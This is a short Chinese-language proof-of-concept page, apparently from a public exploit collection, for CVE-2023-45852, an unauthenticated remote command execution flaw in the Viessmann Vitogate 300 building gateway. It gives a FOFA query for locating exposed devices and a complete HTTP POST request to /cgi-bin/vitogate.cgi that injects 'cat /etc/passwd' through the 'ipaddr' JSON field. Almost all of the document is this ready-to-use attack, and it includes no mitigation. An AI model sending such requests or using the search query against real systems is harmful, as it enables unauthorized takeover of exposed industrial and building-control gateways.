POC/wpoc/Viessmann/ViessmannVitogateRCE漏洞（CVE-2023-45852）.md

Viessmann Vitogate RCE 漏洞（CVE-2023-45852）

一、漏洞简介

Viessmann Vitogate 300是用于将Viessmann LON连接到BACnet或Modbus的网关。Vitogate 300组件/cgi-bin/vitogate.cgi中的一个问题允许未经身份验证的攻击者绕过身份验证，通过特制的请求执行任意命令，可导致服务器失陷。

二、影响版本

• Viessmann Vitogate 300

三、资产测绘

• fofaapp=”Vitogate-300”
• 特征

四、漏洞复现

POST /cgi-bin/vitogate.cgi HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: langCookie=en
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 87

{"method":"put","form":"form-4-8","session":"","params":{"ipaddr":"1;cat /etc/passwd"}}

更新: 2024-02-29 23:57:11
原文: https://www.yuque.com/xiaokp7/ocvun2/llhplei5z29a1kqg